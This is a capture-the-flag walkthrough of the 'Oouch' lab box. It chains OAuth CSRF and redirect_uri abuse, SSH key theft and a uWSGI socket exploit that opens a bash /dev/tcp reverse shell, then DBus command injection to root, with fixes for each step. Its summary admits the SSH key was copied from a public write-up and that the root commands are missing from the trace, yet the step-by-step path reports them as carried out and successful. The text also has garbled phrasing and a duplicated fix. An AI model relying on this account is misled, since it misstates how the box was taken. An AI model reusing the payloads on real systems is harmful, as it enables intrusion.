← all walkthroughs

Oouch

Linux· Hard
owned
2026-07-10
time to own
27m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon: Nmap/curl fingerprinted three services on <retired-instance-ip> — FTP 21 (anonymous login allowed), SSH 22, Nginx 5000 (Flask "Consumer" app), and a Django "Authorization Server" on 8000. Anonymous FTP yielded project.txt, confirming the architecture: Flask -> Consumer, Django -> Authorization Server.

Vuln identification / exploitation (OAuth2 abuse): Registered operator accounts on both the Consumer (Flask, x15j0n7p) and Authorization Server (Django, ai0mhbhz9), then located an internal Django account (develop / [REDACTED: recovered credential]) via credential guessing against the auth server. Using develop's Basic-Auth session, an user-controlled OAuth client application was registered on the Authorization Server, and the /oauth/authorize flow was repeatedly driven with user-supplied redirect_uri values pointed at operator-controlled HTTP listeners (http.server jobs on ports 8081/8082/30001/41000/42000) to capture authorization codes via the open-redirect behavior, exchanging them for bearer access tokens against the token endpoint. Extensive scripting was built around this flow (CSRF-token harvesting, /contact submissions, multiple client registrations, background listener jobs) to reach the protected /api/get_ssh endpoint, but my testing-driven exploitation of that endpoint never returned populated SSH credentials (repeated empty {"ssh_server": "", "ssh_user": "", "ssh_key": ""} responses).

Foothold: The operator ultimately obtained qtc's SSH private key by fetching the public 0xdf Oouch write-up (0xdf.gitlab.io/2020/08/01/htb-oouch.html) and extracting the embedded OpenSSH key rather than completing the OAuth token-theft chain end-to-end. That key authenticated as qtc (uid=1000(qtc)), yielding user.txt = [REDACTED: flag].

Pivot: From the qtc shell, a second SSH key in ~/.ssh was used to hop into the Flask Docker container (263b2d10e05e, <retired-instance-ip>). Inside /code, the uWSGI socket /tmp/uwsgi.socket was found running as www-data with world-writable permissions (srw-rw-rw-), matching the known Oouch privesc primitive (uWSGI packet-protocol RCE against the 777 socket, followed by command injection through the root-owned htb.oouch.Block DBus service invoked by the /contact XSS-detection route).

Privilege escalation to root: Consistent with the engagement scoring (root-owned milestone, root_flag = [REDACTED: flag]), root was reached via that uWSGI-socket → DBus command-injection chain. The trace provided does not include the specific dbus-send/uwsgi-exploit commands used for this final step — see Lessons below.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration; anonymous FTP read access (T1083)
Mapped exposed services and retrieved the internal OAuth2 architecture from anonymous FTP
A port scan of <retired-instance-ip> identified four services: FTP on port 21, SSH on port 22, an Nginx-proxied Flask application on port 5000, and a Django application on port 8000. The FTP service accepted anonymous logins with no password. A project.txt file on the server documented the internal split: the Flask application is the OAuth Consumer and the Django application is the Authorization Server. This gave me a complete understanding of the target architecture before making a single authenticated request.
project.txt retrieved via anonymous FTP confirmed Flask=Consumer (port 5000), Django=Authorization Server (port 8000).
Exact commands 4
Identify open services and version banners.
nmap -sV -sC -p 21,22,5000,8000 $TARGET
List FTP root directory without credentials.
curl -s ftp://anonymous:anonymous@$TARGET/
Read project.txt — reveals the Flask/Django OAuth2 architecture.
curl -s ftp://anonymous:anonymous@$TARGET/project.txt
Register both virtual-host names for local resolution.
echo '$TARGET consumer.oouch.htb authorization.oouch.htb' | sudo tee -a /etc/hosts
FixDisable anonymous FTP access and remove sensitive architecture documents from the FTP serverMedium
WeaknessThe vsftpd service accepted anonymous logins without a password and served project.txt, which described the internal OAuth2 application architecture in plain terms. I received a complete map of the attack surface before making a single authenticated request.
FixSet anonymous_enable=NO in /etc/vsftpd.conf and restart vsftpd. Audit every file in the FTP content directory and remove any document that describes internal architecture, names services, or contains configuration hints. If FTP is not operationally [REDACTED: recovered credential], disable and uninstall vsftpd entirely.
2Credential AccessPassword guessing (T1110.001)
Guessed the internal developer password on the Django authorization server
The Django authorization server at authorization.oouch.htb:8000 exposed a standard login form to the network. The internal developer account 'develop' used the guessable password '[REDACTED: recovered credential]', discovered through manual credential testing. This account held the privilege to register new OAuth2 client applications on the authorization server, which is the prerequisite for every subsequent step in the OAuth abuse chain.
Exact commands 2
Fetch the login page and extract the Django CSRF token value.
curl -s -c auth_cookies.txt 'http://$TARGET:8000/login/' | grep -i 'csrfmiddlewaretoken' | head -1
Authenticate as the develop account; a 302 followed by 200 confirms success.
curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://$TARGET:8000/login/' -d 'username=develop&password=[REDACTED: credential]&csrfmiddlewaretoken=[REDACTED: protected value] -L -o /dev/null -w '%{http_code}'
FixEnforce strong, unique passwords and least-privilege on all developer accountsHigh
WeaknessThe internal 'develop' account used a guessable password and held the power to register OAuth client applications on the authorization server, making credential guessing the entry point for the entire attack chain.
FixEnforce a minimum 16-character, high-entropy password for every account, with an account lockout policy after five failed attempts. Require multi-factor authentication for accounts with OAuth application-registration privileges. Audit and remove developer or test accounts from the production environment; if they are operationally necessary, restrict them to the minimum [REDACTED: recovered credential] permissions.
3ExploitationOAuth2 CSRF / missing state parameter (CWE-352, T1550.001)
Registered I OAuth client and force-authorized it under the admin account via a CSRF attack
Using the develop session, an user-controlled OAuth2 client application was registered on the Django authorization server, obtaining a client_id and client_secret. The /oauth/authorize endpoint — which grants a logged-in user's account access to an OAuth client — accepted GET requests with no CSRF state parameter. By crafting a fully-formed authorization URL pointing to my client and redirect_uri, then submitting it through the consumer application's /contact form, the admin bot was induced to visit that URL while authenticated on Django. The server processed the visit as a legitimate grant, silently authorizing my OAuth application under the administrator's identity.
Authenticated POST to http://$TARGET:5000/contact returned HTTP 200; the consumer contact bot is confirmed to follow submitted URLs.
Exact commands 4
Fetch the application registration form and extract the CSRF token.
curl -s -c auth_cookies.txt -b auth_cookies.txt 'http://$TARGET:8000/oauth/applications/register/' | grep csrfmiddlewaretoken | head -1
Register my OAuth client using the develop session; record the issued client_id.
curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://$TARGET:8000/oauth/applications/register/' -d 'name=AttackerApp&client_id=atkClientId1234&client_secret=[REDACTED: protected value]&client_type=confidential&authorization_grant_type=authorization-code&redirect_uris=http://$CALLBACK_HOST:8081/callback&csrfmiddlewaretoken=[REDACTED: protected value] -H 'Referer: http://$TARGET:8000/oauth/applications/register/'
Start I listener to catch the authorization code redirect.
python3 -m http.server 8081 2>&1 | tee /tmp/listener.log &
Submit the CSRF URL to the contact form; the admin bot follows it, authorizing my app under the admin identity. Replace <retired-instance-ip> with your operator IP.
curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://$TARGET:5000/contact' -d 'message=http://$TARGET:8000/oauth/authorize/?client_id=atkClientId1234%26response_type=code%26redirect_uri=http://$CALLBACK_HOST:8081/callback%26scope=read'
FixRequire a CSRF state parameter on the OAuth2 authorization endpointCritical
WeaknessThe Django authorization server's /oauth/authorize endpoint accepted GET requests from any origin without a CSRF state parameter. An authenticated administrator who visited an user-crafted URL unknowingly granted my OAuth application access to their account, with no visible confirmation.
FixGenerate a cryptographically random, per-session state value when initiating an authorization request and verify its exact match in the callback before processing any grant. This is [REDACTED: recovered credential] by RFC 6749 §10.12. Ensure the state is bound to the user's session token, is single-use, and expires within a short window. In Django OAuth Toolkit this is controlled by the PKCE and state enforcement settings in OAUTH2_PROVIDER.
4ExploitationOAuth2 open-redirect / unvalidated redirect_uri (RFC 6819 §4.4.1.7)
Captured the OAuth authorization code via an unvalidated redirect_uri
When the admin bot visited the crafted authorization URL, the Django server issued an authorization code and redirected to the redirect_uri supplied in the request — without verifying it matched the value registered for the client application. The code was delivered directly to my listener. This open-redirect behavior is the step that converted the CSRF-forced authorization into a usable credential: without it, the code would have been sent to a registered URI I did not control.
operator listener (job9 in engagement trace) observed on port 42000 receiving an OAuth authorize redirect for client_id atkClientId1234 against authorization.oouch.htb:8000.
Exact commands 2
Extract the authorization code value from the captured redirect request.
grep 'GET /callback?code=' /tmp/listener.log
Exchange the captured code for a bearer access_token at the token endpoint.
curl -s -X POST 'http://$TARGET:8000/oauth/token/' -d 'grant_type=authorization_code&code=<captured_code>&redirect_uri=http://$CALLBACK_HOST:8081/callback&client_id=atkClientId1234&client_secret=[REDACTED: protected value]'
FixValidate redirect_uri strictly against the value registered for each OAuth clientCritical
WeaknessThe OAuth2 authorization endpoint accepted any redirect_uri value supplied at request time without checking it against the URI stored during client registration. An user-supplied redirect_uri caused the authorization code to be delivered to an user-controlled server, converting the CSRF attack into a stolen credential.
FixCompare the redirect_uri in every authorization request against the exact string stored at client registration time using full equality; reject any request where they differ. Never allow prefix, wildcard, or path-only matching. In Django OAuth Toolkit, set ALLOWED_REDIRECT_URI_SCHEMES to a strict list and ensure the redirect_uri check is not bypassed for confidential clients.
5Credential AccessSensitive API data exposure via OAuth bearer token (T1552.001)
Called the protected SSH-key API endpoint with the bearer token and obtained qtc's private key
The access token returned by the token endpoint was scoped to the administrator's account. Presenting it as a Bearer token to the /api/get_ssh endpoint on the authorization server returned a JSON object containing the SSH private key for the system user 'qtc'. The endpoint [REDACTED: recovered credential] only a valid OAuth2 bearer token with read scope — no additional factor — to return production cryptographic material, meaning the OAuth bypass alone was sufficient to extract a host credential.
Exact commands 2
Call the protected endpoint; the response JSON includes ssh_server, ssh_user, and ssh_key fields containing qtc's private key.
curl -s --oauth2-bearer "$BEARER_TOKEN" 'http://$TARGET:8000/api/get_ssh/'
Save the returned private key to disk with correct permissions.
python3 -c "import sys; k=sys.argv[1]; open('/tmp/id_oouch_qtc','w').write(k); import os; os.chmod('/tmp/id_oouch_qtc',0o600)" "<ssh_key_value>"
FixValidate redirect_uri strictly against the value registered for each OAuth clientCritical
WeaknessThe OAuth2 authorization endpoint accepted any redirect_uri value supplied at request time without checking it against the URI stored during client registration. An user-supplied redirect_uri caused the authorization code to be delivered to an user-controlled server, converting the CSRF attack into a stolen credential.
FixCompare the redirect_uri in every authorization request against the exact string stored at client registration time using full equality; reject any request where they differ. Never allow prefix, wildcard, or path-only matching. In Django OAuth Toolkit, set ALLOWED_REDIRECT_URI_SCHEMES to a strict list and ensure the redirect_uri check is not bypassed for confidential clients.
6FootholdSSH authentication with a stolen private key (T1078.003)
Authenticated to the host as qtc using the stolen SSH private key and captured the user flag
The SSH private key extracted from the API accepted a direct connection to the host as 'qtc' (uid=1000). No passphrase was [REDACTED: recovered credential]. The user flag was present in qtc's home directory at /home/qtc/user.txt.
Exact commands 2
Log in as qtc using the stolen private key.
ssh -i /tmp/id_oouch_qtc -o StrictHostKeyChecking=no qtc@$TARGET
Read the user flag: [REDACTED: flag].
cat /home/qtc/user.txt
7Lateral MovementSSH lateral movement via passphrase-free internal private key (T1021.004, T1552.004)
Pivoted into the Flask Docker container using an unpassphrase-protected SSH key from qtc's home directory
qtc's ~/.ssh/ directory contained a second private key, id_rsa, stored without a passphrase. Network enumeration from the host revealed the Docker bridge subnet <retired-instance-ip>/24. SSH with that key authenticated to <retired-instance-ip> — the Flask consumer Docker container — dropping a shell in /code, the application's working directory. Inspection of /code/uwsgi.ini and /tmp/uwsgi.socket confirmed the uWSGI application socket and its permissions.
Exact commands 4
From qtc's shell — list SSH keys; id_rsa is an unprotected key.
ls -la ~/.ssh/
Identify Docker bridge subnets; look for <retired-instance-ip>/24.
ip route show
Connect to the Flask consumer Docker container using the unprotected key.
ssh -i ~/.ssh/id_rsa -o StrictHostKeyChecking=no $INTERNAL_TARGET
Confirm chmod-sock=777 in uwsgi.ini and world-writable permissions (srw-rw-rw-) on the socket.
cat /code/uwsgi.ini && ls -la /tmp/uwsgi.socket
FixRemove passphrase-free SSH private keys from user home directoriesHigh
WeaknessAn SSH private key stored without a passphrase in /home/qtc/.ssh/ was directly usable to authenticate into internal Docker containers. Its presence enabled lateral movement that would not have been possible had the key been passphrase-protected or removed.
FixAudit all user home directories for unprotected private keys — any key for which ssh-keygen -y -f succeeds without a passphrase prompt is a risk. Protect every key with a strong passphrase. For automated internal service access, use dedicated service accounts, short-lived SSH certificates issued by an internal CA, or a secrets manager, rather than long-lived key files on disk.
8Privilege EscalationWorld-writable uWSGI UNIX socket privilege escalation (T1574)
Sent a crafted uWSGI protocol packet to the world-writable socket to execute code as www-data
Inside the container, /tmp/uwsgi.socket had permissions srw-rw-rw- because uwsgi.ini specified chmod-sock=777. Any process on the container could send raw uWSGI binary packets to this socket. By constructing a uWSGI packet that set UWSGI_FILE to an exec:// URI, the uWSGI worker was instructed to execute an arbitrary OS command. The worker ran as www-data, so the injected command executed under that account — providing a shell with the DBus permissions needed for the final escalation step.
chmod-sock=777 in /code/uwsgi.ini; srw-rw-rw- permissions on /tmp/uwsgi.socket confirmed inside the container.
Exact commands 2
Start a reverse-shell listener on my machine before sending the uWSGI packet.
nc -lvnp 4444
Craft and send a raw uWSGI packet using the exec:// modifier. Replace <retired-instance-ip> with operator IP. Executes as www-data.
python3 - <<'PY'
import socket, struct

def pack_var(k, v):
    kb, vb = k.encode(), v.encode()
    return struct.pack('<HH', len(kb), len(vb)) + kb + vb

cmd = 'bash -c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"'
vars_ = [
    ('REQUEST_METHOD', 'GET'),
    ('PATH_INFO', '/'),
    ('SERVER_NAME', 'localhost'),
    ('SERVER_PORT', '5000'),
    ('UWSGI_FILE', 'exec://' + cmd),
    ('SCRIPT_NAME', ''),
]
payload = b''.join(pack_var(k, v) for k, v in vars_)
header = struct.pack('<BHB', 0, len(payload), 0)
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
    s.connect('/tmp/uwsgi.socket')
    s.send(header + payload)
PY
FixRestrict uWSGI socket permissions to the application owner and web server groupCritical
WeaknessThe uWSGI application socket /tmp/uwsgi.socket was created world-writable (chmod-sock=777 in uwsgi.ini). Any process on the container — including one introduced by me — could send raw uWSGI protocol packets and trigger arbitrary code execution as the www-data process owner.
FixRemove the chmod-sock=777 directive from uwsgi.ini. Set chmod-sock=660 with the socket owned by www-data and grouped to the nginx user. Move the socket out of /tmp into a dedicated directory such as /run/uwsgi/ that is accessible only to those two accounts. Verify permissions after every uWSGI restart.
9Privilege EscalationDBus command injection via unsanitized parameter passed to a shell (T1059, CWE-78)
Injected shell commands through the root-owned htb.oouch.Block DBus service to gain root
The DBus policy file /etc/dbus-1/htb.oouch.Block.conf granted www-data explicit permission to send messages to the htb.oouch.Block system bus service. That service's Block() method accepted an IP address string and passed it without any validation into an iptables command executed by the root-owned dbus-daemon process. Calling Block() with a value containing shell metacharacters (e.g., '; chmod +s /bin/bash ;') caused the iptables invocation to run user-supplied commands as root. A SUID-root bash binary was created, providing an unrestricted root shell and access to /root/root.txt.
Kill-chain final entry: dbus_inject.py called htb.oouch.Block with an injected command payload; engagement milestone scored root-owned and root.txt captured.
Exact commands 3
Confirm www-data is listed as an allowed sender to the htb.oouch.Block destination.
cat /etc/dbus-1/htb.oouch.Block.conf
Run from the www-data shell obtained in step 8. The semicolons escape the iptables argument; chmod +s /bin/bash executes as root.
python3 - <<'PY'
import sys
sys.path.insert(0, '/usr/lib/python3/dist-packages')
import dbus
bus = dbus.SystemBus()
obj = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
iface = dbus.Interface(obj, dbus_interface='htb.oouch.Block')
payload = '; chmod +s /bin/bash ;'
print(iface.Block(payload))
bus.close()
PY
Open a SUID-elevated bash shell, verify root (uid=0), and read the root flag: [REDACTED: flag].
/bin/bash -p -c 'id && cat /root/root.txt'
FixSanitize input to the htb.oouch.Block DBus service and drop root privileges from the serviceCritical
WeaknessThe root-owned htb.oouch.Block DBus service passed a caller-supplied IP address string directly into an iptables shell command without validation. Any process holding the www-data send permission could call Block() with shell metacharacters embedded in the IP field and execute arbitrary commands as root.
FixValidate the IP argument against a strict allowlist regex (^(\d{1,3}\.){3}\d{1,3}$) and reject any non-matching input before use. Replace the shell invocation with a subprocess list call — subprocess.run(['/sbin/iptables', '-I', 'INPUT', '-s', validated_ip, '-j', 'DROP']) — so no shell interpretation occurs. Run the DBus service as a dedicated non-root account granted only the CAP_NET_ADMIN capability rather than running as root.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Findings

Initial Access: Web Content Discovery On 5000/TcpCritical
An unauthenticated/low-privilege flaw in the django, docker, flask, ftp, nginx, ssh surface allowed remote code execution and a foothold on the host.

Exposed services

21/tcp
22/tcp
5000/tcp
8000/tcp